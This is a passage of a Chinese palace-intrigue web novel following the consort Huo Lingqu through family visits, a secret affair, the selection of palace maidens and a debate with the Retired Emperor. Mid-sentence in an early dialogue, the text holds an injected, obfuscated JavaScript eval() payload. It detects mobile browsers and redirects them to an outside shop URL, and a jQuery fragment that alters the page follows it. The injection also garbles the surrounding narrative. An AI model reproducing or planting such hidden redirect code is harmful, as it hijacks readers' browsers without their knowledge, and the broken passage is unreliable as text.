阿胜盯向他,霍漓江摆手道:“行了,你们表兄妹聚聚吧,爹待会儿再过来。” “好。”她爹爹走远,霍灵渠忙问:“表哥,族人们都还好吧?” “放心。”阿胜叹气:“我没想到你这边会出这么大变故,表哥应该先找你的。” “没事啦,若皇帝无论如何都不肯放我出宫,我将来假死就好了,不妨事。”霍灵渠拉住表哥的手臂下意识压低声音:“表哥,我可能发现残害外祖家的仇人了。” 阿胜眼底微暗:“我知道,一直都很清楚。”他转瞬间又聚起精神,郑重道:“既然灵渠已有猜测了,好,表哥就告诉灵渠:二十四年前残杀我们族人的第一个仇家叫朱存焳,就是现在那位昌隆侯,他得他姑母朱太后授意、还有当时的授康帝默许。 论仇家,整个朱家、早已经死掉的朱太后和当今太上皇都是姬氏一族的仇家。朱太后,姬家遭大难前族人就动手了,故,姬家惨祸后两年,朱太后就病死了。” 至于朱家,昌隆侯快造反了,舅父生前就看出来了,朱存焳有反骨,灵渠也不必操心;唯独当今这位太上皇,他想谋求长生必会想拿你炼药,灵渠会很危险。” 霍灵渠心绪被牵引得都没注意阿胜口中的姬氏一族和舅父,她点头:“我知道,我知道太上皇想害我,我就是因此才猜测太上皇可能会是残害外祖家的仇人,没想是朱家牵头。”她怀疑:“表哥,前世授康三十一年朱家满门被灭?”这事当时可轰动了。 “是我做的。”阿胜阐释道:“只是朱家造孽多,仇家多,不止我一人动手,有一个挺傻的以为仅凭他就能把朱家屠了,站出来偿命,所以才是前世那副场景。” “那你今生又为何没有动手?”霍灵渠纯粹是好奇。 “家里还剩下的族人,前世我与他们分歧很大,我不知道他们有谋划,一意孤行做的。今生我刚醒来,他们就找上我了。”阿胜抬手抚抚表妹的额发,视线凝向前方。 霍灵渠转头,看见皇帝、她爹和晏霁之,她迎上前,雀跃道:“陛下,这位是我表哥,我生母娘家的表哥,我表哥很厉害,你封我表哥做个官吧,七品八品都行。” 嬴忱璧:“……” 晏霁之在心里憋笑,皇帝,嬴忱璧看着好高兴的贵妃,再看向走来的蜀王,皇帝他生生将即将出口的寒暄扭转成:“贵妃阿姨的娘家不是没人了吗?贵妃怎么知道他是你的表哥,你们怎么认识的,贵妃怎么确信他是你的表哥?” “是大半年前,表哥找到我的。”霍灵渠避重就轻,阿胜随后道:“至于我们表兄妹怎么相认的就不劳皇帝陛下操心了,贵妃她爹都确认了,假不了。” 嬴忱璧看向国舅,霍漓江一脸苦逼相,皇帝他再忍住,哄道:“贵妃,舒窈有事找你,不如你随国舅先去和舒窈说说话,朕和表哥聊聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459325|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,待会儿再去看你。” “好,妾告退。”霍灵渠欢快走人,霍漓江尾随,晏霁之琢磨怎么撤。 “皇兄这是何意?”嬴忱璧似笑非笑,阿胜把多余的打发走,晏霁之速遁。 此地再没有第三个人,阿胜理都没理皇帝弟弟,走了,嬴忱璧:“……” 朕谢谢皇兄啊你把晏霁之打发走了没让人看见你对皇帝弟弟不敬! 霍舒窈是为丈夫的堂妹找她自个儿的堂妹:“灼灼要跟那位断了,她的亲事不就要提上日程了嘛,她都二十岁了,一刻都拖不起,那她现在最好的选择肯定是晏霁之。” “大姐你自己向晏霁之探口风吧。”霍灵渠不想沾手。 “我能自己出面还找你作甚?”霍舒窈无奈:“萧灼灼这情况,我向晏霁之探口风,我要倒霉的,所以我才找你,凭你跟他的关系,你就帮大姐去问问吧。” 霍灵渠眨眨眼惊奇:“大姐你怎么知道不能向晏霁之探这个口风?” “嗳,小时候两家撮合过我跟他,你忘了,你知道他拒绝我的原因是什么吗?居然是我在七夕时给魏王送过香囊。”霍舒窈打开话匣子一般吐槽:“当时大家才几岁啊,而且我是因你和越王有婚约了,我不服气才找魏王的,他因此拒绝我,我怎么能服? 我跟他杠上过,我被他整得好惨的,这事我这么多年死活没往外蹦过,要不然他记仇,我又要倒霉的。你想想小时候啊,咱们才几岁,他都能这么挑。” “萧灼灼这情况——”霍舒窈呵呵:“向晏霁之探探口风都要倒霉了。” “对啊。”霍灵渠深表赞同,反劝道:“大姐,还是让萧家打消掉念头吧,萧家总该知道晏霁之很讲究,宜春县主这个情况,萧家还想把她塞给晏霁之是有点糟践人。” “萧灼灼来京可是住在英王府的,这什么意思,难道你还不懂啊?大家心照不宣了。”霍舒窈知道这事难:“萧家疼她,就像咱家仍然想把最好的给你,都一样呀。” “不一样。”霍灵渠客观道:“萧家是把眼睛蒙上了只凭自家意愿,咱家讲你情我愿,假若我没有进宫,你和离归家,家里给我们选夫婿,必定会在心甘情愿的人家中找,若是没有人家愿意,兄弟们会愿意养我们到老,而不是只凭自家意愿。” “唉!”霍舒窈叹气,霍灵渠琢磨着:“要不然,大姐你回绝掉萧家,我跟霁之提一提,不是向他探口风而是告诉他,萧家有意向、我们替他做主回绝掉了。” “行吧。”霍舒窈看看妹妹,感悟道:“不过晏霁之对你还真是不一样哦。” “我没觉得他对我有什么不一样。”霍灵渠剥只夏橙,递一半给堂姐。 “他对你若是没什么不同,五年前他还能买流光吗,他买下流光还能把事情处理好吗?他没排斥让你生养吧,是你自己不想生哎。你们若是有孩儿,他还能向着谁?” 霍灵渠在心里说前世他们可是有六年……好吧,毕竟还是做真夫妻了。 她说不出什么感觉的吃瓣橘肉,霍舒窈忽然说:“没准玉藏珠都沾你的光了。” “啊?”霍灵渠没懂,霍舒窈剖析道:“当时霍灵渠定居在山东呀,虽然那个是假的,但是当时我们又不知道在山东的霍灵渠是个假冒货,那么,自然是霍灵渠在山东呀。这天下这么大,他祖父过世后晏霁之出门游历,作甚非得往山东去?” 她姐姐可真能想,霍灵渠感叹:“大姐你可以写话本子了。” “晏霁之当年为玉藏珠要死要活,之后什么女人都没入过他的眼,他爹娘给他塞小妾,他推不掉都不碰的,宁可清心寡欲的过,怎么遇到你之后全变了?”霍舒窈自我求证道:“那还不能说明你对他是不同的甚至你在他心里比玉藏珠重要吗?” 知道真相的霍灵渠手托腮不作声。 “你再想想他多挑的人,只因我给魏王送过香囊,他就拒绝我,可你跟他重逢时你又是什么情况,他对你若没什么不同你俩还能有今天这个剪不断理还乱的关系吗?” 霍灵渠沉默是金。 “所以啊,你真得好好理理你跟晏霁之的关系了,你俩要是暂时还不想断,家里睁一只眼闭一只眼也行,毕竟才几个月你们还适应不了,哎不对呀,”霍舒窈猛地又发现条线索:“晏霁之这么讲究的人怎么还会愿意跟皇帝的贵妃纠缠?” 霍灵渠干笑,霍舒窈哼哼:“是吧,躲不掉了吧,他喜欢你啊。” “我宁愿他不喜欢我。”虽然霍灵渠觉得晏霁之更像在找消遣,但他非得自认喜欢她,她只能随他,何况晏霁之的确还不想断:“断了对他好。” “那你跟他断呀。”霍舒窈犹若居高临下睨视堂妹,一眼就看穿这小样。 “我倒想上半年跟他断掉。”霍灵渠哀怨:“他不愿意,我能怎么办?” 霍灵渠着重申明:“我和他之间又不是我做主,我能做主就好了,我做不了主嘛。” 猜也知道你俩之间不是你做主,霍舒窈嘱咐道:“你心里能有底就好,只要你俩不是想长久纠缠,再耗几个月,家里应该还能受得住。行了,大姐去找晏霁之过来,你跟他把事情说完就让他快些走,别磨蹭,陛下若寻过来,我可挡不住。” “知道了。”霍灵渠想晏霁之应该也不会想在这样危险的时刻磨蹭。 霍舒窈走出屋,没一会儿,一名丰神俊朗的颀长男子进屋,行走间恣意风流,湛湛笑意似有走慢的春晖流连:“舒窈可惜了,还以为舒窈能在孟怋乂之前堪破。” “是有点可惜,怎么会那么难堪破呢,玉藏珠可自小有婚约在身呀,大姐都知道你这么讲究了,你在知道玉藏珠有婚约之后还纠缠还不是不正常吗?”霍灵渠忖度:“所以,大姐是觉得你一见钟情之后知道玉藏珠有婚约了也不在意吗?” “很显然。” 霍灵渠瞅瞅他,很显然,晏霁之当年也是挑准了玉藏珠有婚约,省得把自己牵扯进去:“你当时就没有担心过婚约也是可以退掉的吗?” 晏霁之看她傻了是吧:“我的目的是什么,我可能会让这种事发生吗?” 霍灵渠被怼得直想深呼吸,晏霁之问:“我的手绳呢?” “皇帝疑心病重,你可别这两天就戴。”霍灵渠把她编好的红手绳给他。 “我知道,到江南我再戴。”晏霁之把红手绳妥帖收好,揽过女人抱在怀里,心里还是有点莫名的,可惜什么呢,是不是霍舒窈居然能揪出他当年往山东游历的原委? 他其实也没想过,下意识就往山东去了,现下想,他怎会下意识就往山东去呢? 霍灵渠直起腰察看他的额头,高兴道:“一点疤痕印迹都没有,放心吧。” 晏霁之心像被蜜蜂蜇了下,轻轻的有点涩:“你还记得我额头的伤?” “嗯?”霍灵渠没懂,晏霁之笑笑未语只抱住她,霍灵渠怔下想他是觉得她忘记了吗,还是他不敢奢望有人会记得?霍灵渠微微心酸,默下略过,把堂姐的事告诉他。 晏霁之估测:“没这么容易打消萧家的心思。” “都回绝了,不至于吧?”霍灵渠迟疑,晏霁之提醒:“萧灼灼前天决定和情郎断掉,舒窈今日就能来探口风,谁的意思?她婆婆和丈夫,大伯家都这么上心,当然是萧灼灼的家长们早就通过气了,你别忘了,萧灼灼来京可是住在晏家。” 霍灵渠垂眸,把朱家那笔抹掉当不存在,让萧灼灼顺势嫁入晏家,对萧家和萧灼灼而言当然反倒又是一段佳话了,萧家放纵让萧灼灼住在晏家时就打算好了吧。 “对了,穆国公给霍鸳娇姐弟的银两被愗郡公府顺走了,他们认为是佟家做的,今早在佟家租赁的宅子前闹。晋王怕是会想推他们出面来对付霍桑柔了,你当心了。” 晏霁之警戒,霍灵渠默默纠正:“不是愗郡公府,我爹看得受不了了,告诉我的,是我大伯觉得这笔钱财肯定会便宜愗郡公府,与其便宜愗郡公府那还不如霍家拿回来呢,还是让大哥去做梁上君子拿回来的,所以我爹看得受不了了。” “……”人,真忌讳想当然,晏霁之滞怠下把闲心思抛掉,抱她亲吻,霍灵渠慌忙拦:“太危险了,皇帝随时会找过来。” 晏霁之低头,暧昧笑:“正好帮你回忆我们曾经玩得有多刺激啊。” 霍灵渠:“……” 挡住晏霁之的是屋外的拍门:“皇帝快过来了,你个混球赶紧撤,霍海啸在等着揍你,拽着我们全家给你打掩护,待会儿被皇帝把你俩捉住了你担得起责任吗你?” 霍灵渠羞得把自己埋起来,晏霁之看着埋在他怀里的女人,坏笑道:“按你爹的意思,皇帝一刻钟内到不了,我们还有一刻钟,做什么好?” “霁之~~”霍灵渠顾不得害羞,撒娇哄他走,晏霁之抚抚她的脸:“亲我下。” 霍灵渠亲下他的脸颊,晏霁之握握拳松开怀里的人,离开。 贵妃省亲的热闹在霍家持续三个多时辰,未时末,正徽帝嬴忱璧携霍贵妃起驾回宫。 霍家众人恭送过陛下和贵妃娘娘,各自回府。霍擎回到院里,拄着拐杖在庭前站许久,穆国公霍秦川过来时他还站着,霍秦川走近关怀:“爹?” “没什么,姬家有几个族人想在端午和灵渠见一见。”霍擎老脸微沉。 “是在昌隆侯身边的姬氏族人?”霍秦川问,霍擎嗯了声,霍秦川叹息,扶老父回屋,把簿册递给老父,自省道:“孩儿当天就该想明白的,皇帝若只是想让昌隆侯死,何必大张旗鼓跟太上皇吵翻,昌隆侯在皇帝眼中可能配让他和太上皇吵翻吗?” “是皇帝要用昌隆侯来刮骨疗毒。”霍秦川感佩:“陛下用昌隆侯这颗棋用得委实太妙。但,皇帝若是将朱家彻底覆灭,太上皇绝不会再留芮家,皇帝心里很清楚,可皇帝还是没有一点犹豫,芮家在皇帝心里可能确实不值一提。” “昌隆侯,可惜了,遇到个境界这么高的皇帝。”霍擎翻翻簿册,手掌放在这簿册上,笑意淡得近乎于没有:“他想造反,皇帝当然乐意之至,让这群反贼死得对国家最有价值。一百年,立国百年之际出来位这等雄心壮志的皇帝当真嬴氏之福。” 老人掌下,正徽帝在立国百年之际清查丈量全国耕地的簿册安静放着。 134. 第134章 四月二十八,秀女采选经过多轮择选,进入最后的殿选。 殿选仍在伊人殿,八十名秀女,京畿二十名,京畿之外的四地各十五名。 清风徐徐来,撩拨着伊人殿的轻纱曼舞,霍贵妃和郭皇后一同高坐,还有乐邑长公主。乐邑长公主是霍贵妃请来的,因何事,乐邑进宫前,薛述聪就跟她说过了。 京畿的二十名秀女划在第一批进殿参选,一水儿水灵灵的小姑娘,霍贵妃定,选十人。她们和还候在殿外的秀女们都知道,霍贵妃早传下话了,她和皇后择四十二名秀女,其中,京畿的秀女选十名,京畿外的四地秀女各选八名,合四十二名。 殿选伊始,霍灵渠扫视过殿内秀女,捧起瓷盅喝燕窝汤。 郭皇后觑觑她,率先挑一个试试,第一个很好选,班丞相家的姑娘。 霍贵妃没有异议,郭皇后便接着选第二个,英王府的姑娘。 谁还不知道霍贵妃入宫前是英王府的流光姨娘呀,殿内众人神情有丝微妙,乐邑长公主瞥瞥郭皇后,不知待会儿霍灵渠发飙,郭皇后能否撑得住一刻钟? 晏四姑娘的心态还好,她看着高坐的霍贵妃,想起流光姨娘,真觉物是人非吧。 霍灵渠只道:“本宫瞧着户部周尚书家的姑娘甚合眼缘,留。” 十六岁的姑娘斯斯文文越众走出步,谢娘娘恩典。 郭皇后盘算下还有七个名额,足够用了,随后又选显国公府的姑娘。 薛家姑娘谢恩,是薛家媳妇的乐邑长公主亦站起来谢过皇后对薛家的恩典。 霍灵渠再道:“尚勉尚将军家的姑娘不错,留。” 被霍贵妃赞不错的姑娘晕乎乎得,就没想过自己能留到最后,被提醒才走出来谢恩。 乐邑长公主看得拿手绢压压嘴角的笑意,就这姑娘在复选时的表现,定是她皇兄要留,让令愔夫人帮着尚家姑娘顺利留到殿选对令愔夫人估计都是种折磨。 第六个,郭皇后选建威侯府的姑娘,她的堂妹。 霍灵渠阻拦:“郭家已有位居中宫的皇后娘娘,不必再进人了。” 霎时,霍贵妃和郭皇后一早上还没起过冲突的表象被撕裂,众人没有顾忌地抬头看着,郭皇后气还算足地训斥:“贵妃放肆了,本宫选谁岂是你能置喙的?” “放肆?”霍灵渠咂摸下,理理裙摆站起来,走过几步,站在郭皇后面前,伸出魔爪,快准狠地掐住皇后的脖子,还想着反压制霍贵妃的郭皇后瞬间寒毛倒竖。 秀女们神经大作,霍家威压再重也没得霍贵妃堂而皇之犯上的理儿吧? 霍家想夺后位好歹还有遮掩呢:郭皇后自请辞位。 同在的御前总管蒋厚运默念陛下的交代忍住脸抽搐装瞎,陶姑姑亦刻板着脸装没看见。除郭皇后带来的椒房殿的宫人外,宫人们看他俩如此,尽数做木桩。 乐邑在心里腹诽她能不能好歹留点体面,站起来装紧张:“贵妃?” 有椒房殿想护主的宫人和郭家姑娘想挺身而出时,霍雄鹰扛着刀赶到,活像是谁敢上前一步就会变成刀下魂,好多人一凛,想出头的宫人和郭家姑娘皆退缩了。 郭皇后瞥着那刀锋,鸡皮疙瘩都起来了:“贵、贵妃?” “你最近做什么了?是不是买通了长春宫的宫人想害我?”霍灵渠活像在凶小孩。 “没、没没没…没有。”郭皇后怕呀,霍贵妃没欺负她时,她不怕,但贵妃一欺负她,还有霍雄鹰扛着刀在边上盯着,她怎么可能不怕。 “没有?可我差点就被害了呀,不是你,就是建威侯府咯?” “不是!”郭皇后利索否认。 “看来是你做的。”霍灵渠下结论,霍雄鹰扛着长刀上前,递过去把匕首,霍灵渠握着匕首在她面孔上方恐吓:“表姐,你喜欢什么字呀,我给你刻几个字吧?” 郭皇后心惊肉跳:“不不不不好,忠毅伯府做的!” 秀女们看得大受冲击。 实则何止秀女们,对郭皇后多少有点数的宫人们都再被意外了。 比皇后堂姐小十多岁的郭姑娘黯然低头,这堂姐可还想过她是皇后,她的皇后威仪呢,霍家跋扈为人不齿,可郭皇后若如此难登大堂,人家嘲笑的就是他们郭家了。 霍雄鹰懒得鄙视,乐邑长公主叹气,郭皇后连半刻钟都没撑住。 芮家姑娘高声驳斥:“郭皇后你休想血口喷人!” “就,就是忠毅伯府做的。”郭皇后的害怕好些,稍微噎下就呛回去,只是她这腔调,既像小孩家打嘴仗又似有着邀功意味,惹得不少秀女又再看看她。 “忠毅伯府作甚要害我,你又如何知晓忠毅伯想害我?”霍灵渠质疑。 “呃……”郭皇后眼神游移,芮姑娘见状懒得再争辩,看郭皇后怎么圆。 “是不是因为你跟忠毅伯谈,你们合伙害我,你就让芮家女做贵妃呀?”霍灵渠一脸被气笑了:“前天你到魏王府后又乔装溜出魏王府和忠毅伯会面了,是吧?” 郭皇后小媳妇样的说不出话来了,芮姑娘想驳斥,可对上霍家又忍不住犹豫。 霍灵渠手上加重力道掐:“这是你自己想的还是郭家人给你出的主意?” “杭杭杭杭修媛!”疼痛难受和窒息感传来,郭皇后连忙道:“是杭修媛的主意,她最近天天来椒房殿,就是她跟我说,大皇子前些天遇刺客是霍家做的,我可以和忠毅伯联手对付霍家,所以、所以我和我爹娘前天才跟忠毅伯见面商量。” “真?”霍灵渠怀疑她,郭皇后点头如捣蒜:“真真真,就是杭修媛的主意。” 霍灵渠看向陶姑姑,陶姑姑颔首道:“娘娘,杭修媛和忠毅伯府有仇,也许真有可能,她想借贵妃娘娘您除掉忠毅伯府,乃至想害娘娘您与陛下生嫌隙。” 不是也许,殿内长脑子的都猜到了实情就是如此,芮姑娘心发沉。 且,大皇子遇刺已经结案,郭皇后此举摆明不相信陛下,好些人眼神微闪。 霍灵渠笑了,松开对郭皇后的钳制,郭皇后扶着自己的脖子猛喘气。 “有胆识啊!”霍灵渠沉下脸,冷声下令:“蒋厚运,派人去向陛下请旨意,念在杭修媛育有大公主,降为婕妤,今后份例按正七品给她拨。” “是,贵妃。”蒋厚运恭顺应诺,指派两名小太监去向陛下禀告。 “妹妹?”霍灵渠喊乐邑,乐邑长公主配合她装不自在:“贵妃可还有事?” “烦请妹妹你帮本宫讨个人情,请显国公搭把手查查杭家人,若有不妥,按律法办。”霍灵渠怒意显著,乐邑在心里腹诽她装腔,面上笑:“好说、好说。” 霍灵渠再转向郭皇后,郭皇后神情紧绷看她,霍灵渠居高临下睥睨道:“坤宁宫繁华,不适合清修之人,即日起你搬出坤宁宫,去住怡华宫。 份例我会重新给你安排,嫔妃每日给皇后晨省停掉俩月,下半年再恢复。还有大皇子,既然受大难了就好好休养,他八岁生辰前都不必去学堂了。” 看官们被惊了惊,让郭皇后搬出坤宁宫椒房殿? 霍雄鹰想起十几天前他直觉冒出的废后念头,忽然说不出什么感觉。 郭皇后对最后一条没意见,但前几条:“贵妃?” 霍灵渠一记眼神杀过去:“你是想说,我在逼迫你吗?” “没、没没没没有。”郭皇后心肝颤下就又蔫儿了,直叫郭姑娘又恨又恼又想哭,更叫许多人心绪翻滚,殿堂之上,一位贵妃一位皇后,一站一坐,一位气势逼人一位犹如吓破胆的小家雀,如此的惨烈!但无论怎样,这一幕都深深印在了他们的脑海里。 “没有就好。”霍灵渠生怕吓不到她,漫不经心地得寸进尺:“你已是清修之人,陛下若再留宿怡华宫岂非搅扰你清修,从今日起,你不必再侍寝,好好修佛缘吧。” 郭皇后想不好是不是该有意见,就没反驳。 殿中的观众们可再被惊到了,再看郭皇后竟不抗争,没疯吧? 郭姑娘气得都想冲上去摇醒这堂姐,椒房殿来的宫人们人心浮动地厉害。 霍灵渠抛第三记重锤:“你的外祖家和姨母家,在仕途的也都不用留了。” “什么?”郭皇后惊叫得差点跳起来,霍灵渠很有意见:“你大惊小怪什么呀,你认为你想害死我是能那么轻飘飘揭过去的?你若是这样想,对得起我对你这么客气吗? 霍家对你耍过阴招吗,我们坦荡荡对你,你呢,有人蛊惑你,你就被骗住了,你对得起霍家吗,你想过我们有多伤心吗,这亲戚是不是不想做了?!都这样了还想保你的外祖家,那你还能给什么,你的娘家还是儿女,想选哪个?” 郭皇后默默地不吭声了。 有秀女和宫人忍不住想笑,霍贵妃对郭皇后说,我们坦荡荡地对你使坏,你居然能被骗住认为我们会对你耍阴招,你对得起霍家吗? 真够坏的,偏偏这么欺负人居然还被霍贵妃站住脚了。 乐邑长公主端起绘有描金海棠的白瓷盅喝燕窝汤,不再侍寝,郭皇后没反应;将她几个亲戚罢官,郭皇后甚激动,这样剧烈的对比,霍家不屑宣扬都瞒不住。 “行了,就这样吧,蒋厚运,送皇后回椒房殿移宫,请令愔夫人过来主持殿选,本宫要去太微宫请封旨意。”霍灵渠往殿内环视圈,掷地有声:“忠毅伯府夺爵。” 满殿一静。 居高位的霍贵妃犹若站在晨光里,不可逼视。 多数秀女和宫人们低头,大殿内仿佛逐渐有百斤重压高悬。 晏四姑娘想,不是物是人非,是往事不可追,霍贵妃再也不会是流光姨娘。 芮家姑娘不可思议地看向霍贵妃。 “小姑娘,你可以即刻去向你祖父报信,但你走了,选秀就没你的份儿了,如何抉择,你自便。”语毕,霍灵渠昂首往外走,霍雄鹰和长春宫的宫人们随即跟上。 郭皇后再吁口气,突兀地对上皇帝的御前总管,烦躁地站起来带人回椒房殿。 蒋厚运不怀疑,郭皇后和建威侯夫妇都不懂让郭皇后移宫隐喻为何。 让中宫皇后移出中宫啊。 乐邑放下瓷盅,低头的秀女和宫人纷纷抬头,芮姑娘咬咬牙,拔腿往外奔,入宫不急,只要芮家不倒,她都能入宫,是不是选秀入宫无所谓。 日头渐高,贵妃仪仗驶入太微宫,霍灵渠独自走上台阶,跪在太微宫的正殿前。 候过两刻多钟,太上皇亦独自从大殿内走出来,让霍贵妃起来吧。 “昨日送入长春宫的砒霜出自小觉庵?”太上皇知道,但还是想问问。 “是!”郭皇后和忠毅伯前天才谈合作,哪儿有那么迅速,真正派人动手的是庄太妃,只不过她把事情捅出来,郭皇后和忠毅伯应该都会以为事情是对方做的,恰好能遮掩过去。霍灵渠疑惑:“这招很好使吗,这么些天了庄太妃怎么就没想换个招呢?” “哈哈……”太上皇被逗乐了:“有人想害你,灵渠倒是淡定啊?” “可能是,不怕她吧,庄太妃也没什么令人忌惮的了。”霍灵渠摇头:“她已经沦落到入小觉庵对她意味着什么都想不到,只让人看到她的垂死挣扎。” 太上皇敛目沉吟会儿,问:“灵渠会否觉得姑父的眼神很不好?” 霍灵渠答:“儿臣只觉得庄太妃的不幸真是任皇后的大幸。” “任皇后?”太上皇神思莫名地笑:“任皇后早逝对她难道还是幸运吗?” “当然!”霍灵渠毫不含糊:“任皇后在姑父您还能忍受她时病逝,既保全了她自己,又保全了她的儿女,对她当然是一种幸运,虽然她自己不会这样觉得。 但若任皇后尚在,哪还有什么任皇后呀,早就是废后任氏了。姑父您在位的前十几年分明想在后宫维持三足鼎立之势,她既看不懂还拎不清,还能不把后位葬送掉吗? 她自己葬送掉的,姑父您在能忍受时给了原配媳妇最大的宽容,可您都宽容二十多年了还能忍终生吗?不可能的,任皇后若还在,姑父您在忍无可忍时必会废后。” 太上皇顺理成章刁难:“这么说,寡人对悼太子和魏王全是假的咯?” “真的,我祖父说,圣人您有一个嬴忱璧、哦不是、是您所有儿子尤其是嬴忱璧死活都比不上的优点。”霍灵渠拿皇帝做比几乎是脱口而出,没想告小黑状。 “我祖父说,圣人您把朝堂和后妃、儿女分得很清楚,皇嗣刚出生时您偏于一视同仁。您不会因为是宠妃生的儿女就多疼爱,您也不会因皇嗣的生母不得宠就忽视孩儿。” “是吗?”太上皇就这么问了两个字,霍灵渠应:“是呀,否则嬴忱璧四岁前怎么能养在温献皇后膝下,我祖父说,六哥哥在很多年里都是您最疼爱的儿子。” 太上皇辨不出情绪地目视前方:“灵渠还有见解吗?” 霍灵渠感慨:“你们父子对原配媳妇的态度可真像,可真是妥妥的父子样。” 太上皇愣下差点要笑了:“灵渠还有见解吗?” “你们祖孙仨真像,各个和原配媳妇性情不合,各个都能忍,这是传自皇祖父吧,这一脉相承也太厉害了。而且,”霍灵渠斟酌道:“圣人您可能记性不大好,六哥哥记性就不好,嬴忱璧和魏王的记性也不大好,这源头肯定在您身上了。” 太上皇不能认同:“皇帝和魏王的记性怎么就不好了?” “我祖父都被吓到了,嬴忱璧他连您有个同母妹妹都忘记了,我祖父他个七十岁的老头都还没那么健忘。我找魏王拿银两那天聊了点往事,他自己忘记了还倒打一耙指我污蔑他。还有六哥哥,小时候丢三落四忘东忘西,现在更厉害都失忆了。”霍灵渠说。 “……”一个两个三个,再扯保管能扯到晋王和湘王他们都记性不大好的样子,这源头还能不是出在他身上吗?太上皇忍住没咳:“灵渠猜疑得有道理,寡人会提醒皇帝注意的,不过话到这份儿上,灵渠觉得悼太子是幸还是不幸呢?” 不论太上皇出于何种心思,这一问算是刁难中的刁难了。 霍灵渠低低头示敬畏,有些唏嘘也有些悲凉:“儿臣不知道,儿臣只觉得,悼太子亡故有两个原因,一因生母之故,二因他自己不够坚强也不够勇敢。” “生母之故?”太上皇提醒:“任皇后可在授康十六年就病逝了。” “可任皇后加注给悼太子的重压又没有消失。”霍灵渠反提醒:“任皇后自己拎不清还要把她自以为的重负压在长子肩头,悼太子活在生母的重压下十几二十年,还能不把这份压力渗进他的骨血里吗,这又岂会是任皇后病逝就能把影响带走的?” 太上皇忽然有点悲悯,霍擎若在,一眼便知,圣人这是想起他的长兄了。 “悼太子不够坚强?” “嗯,大哥哥成全了所有,唯独对不起他自己。”霍灵渠语调凄哀:“大哥哥想走遍天下想做个音律大家,魏王想的是混吃等死,因生母之故,全没了。” 魏王想混吃等死?站在殿前的太上皇&在殿内偷听的三位:“……” 晏霁之刚想腹诽她蔫坏时发现,魏王十几岁时还真就是个混吃等死的德行啊! 魏王握把拳头,这女人就不能说点好话,你说一句魏王想做个贤王不行啊。 至于他俩怎会在太微宫?是晏霁之装模作样有事禀奏太上皇拽着魏王来的,皇帝嬴忱璧在得知霍贵妃放话想将忠毅伯府夺爵后策马飞骑而来把戏演足。 太上皇略过给少年的魏王正名,反对道:“可悼太子是寡人的嫡长子,他若不做太子,他的弟弟们谁能放心他,他有他的责任要担,这甚至关系他的性命。” “所以我说大哥哥不够勇敢呀。”霍灵渠不赞成:“他有什么责任要担,他若走个彻底,在您有生之年,谁会害他?而您百年之后,都几十年了。 他醉心山水音律几十年之后,哪个弟弟登大位会去害他?这不过就是决心而已,只要他有决心,没有什么不可能的。他要承担的更不是责任,是生母的私欲。” 太上皇就问:“父母养育他栽培他,他若一走了之,像话吗?” “他又不是您的独生子,怎就不像话了?对任皇后就更没有影响了。”霍灵渠温和的言辞中自有刚硬:“无子的皇后多了,任皇后都有两个儿子了,他和魏王两个跑到天涯海角都不影响任皇后的凤位,他留下来成全的不过是他娘的私欲而已。” “难道任皇后想让孩儿有出息还错了吗?”太上皇再揪个错。 “想让儿女有出息当然没错,但这已经超出想让孩儿有出息了,这是私欲的膨胀与孩子自我意愿背道而驰之下压得孩子不堪重负。”霍灵渠一针见血道:“儿臣敢问圣人,任皇后若是还在,魏王是会变成第二个晋王还是第二个英王世子?” 藏在殿内的魏王心头一闷,略略别开眼。 正徽帝嬴忱璧想抹把脸,忍住了,闭闭眼后再睁眸。 太上皇沉吟片刻问:“灵渠说,任皇后和庄太妃没什么不同?” “这世间有很多长辈会把私欲强加给小辈而从来没有尊重过小辈们自己的意愿喜好。”霍灵渠直视太上皇,犀利道:“他们不把孩子当孩子,而是把孩子当成给他们冲锋的利刃,一种在他们眼中没有自己想法也不配有自己想法的物件。 当孩子有违拗时,指责会铺天盖地而来,这不是慈,他们对孩子的要求也不是孝,而是顺服、顺从,这本质就是种掌控和压制,他们养育的更只是傀儡而已。” 太上皇笑了:“那么你姑母对湘王呢?” 霍灵渠反问:“您哪天看湘王不是撒欢得很啊?” 好了,还好湘王不在,不然保管得骂臭表姐了。 太上皇再笑笑:“灵渠认为,你姑母和任皇后不同?” 霍灵渠点头:“不同。” 太上皇好整以暇:“若寡人不是禅位给你姑母的儿子,你姑母能安生?” 霍灵渠很干脆:“不能!” 太上皇一时差点没被气到:“那还能叫不同吗?” 藏在殿内的三位各自默默腹诽,她可真有脸厚着脸皮自相矛盾啊。 “当然不同。”霍灵渠振振有词:“假若圣人您没有禅位,我姑母想争储,嬴忱璧和湘王两个都不在都没妨碍,我姑母会在争到储位后让儿子回来继承。任皇后是用儿子争,让孩儿给她争,我姑母是自己想要就自己争,这当然有根本不同。” 太上皇还是不能同意:“就按灵渠的假设,你姑母自个儿争到了储位,让儿子来继承,是湘王继位,寡人百年之后,你姑母若是还在,她能安心颐养天年?” “圣人,不管是家还是国,当家作主的人肯定要强硬些,否则会滋生邪祟。”霍灵渠笑:“湘王若是镇得住,我姑母自然无需费心;湘王若是不大愿意管事,我姑母肯定得接手啊,皇祖父当年不大爱管事,摄政王就出面了,这不都是一回事么。” 你自己信吗?魏王在心底呵呵,被霍氏垂帘,这社稷还能姓嬴吗? 晏霁之也觉得她在欲盖弥彰时怔住,霍太后的性情?以霍太后的性情,她可能会将娘家置于她自己和她的儿孙之前吗?呃……貌似好像还真不会。 太上皇静默稍许想结束谈话时,霍灵渠进言:“圣人,儿臣有一言可能会冒犯您,但,儿臣还是想说,请您宽恕儿臣的冒犯。” “说吧。” “我觉得他们兄弟都不怎么坚强。”霍灵渠补充:“我不熟悉的不算啊。” “不怎么坚强?”太上皇问:“哪个?” 霍灵渠报:“悼太子、嬴忱璧、六哥哥、魏王、晋王、湘王。” 在殿内的皇帝和魏王兄弟俩挺平和,在殿外的他们的太上皇老爹愿意相信都不能信啊,这么多怎么可能:“灵渠哪看出来的,就说小六吧,小六还不坚强?” 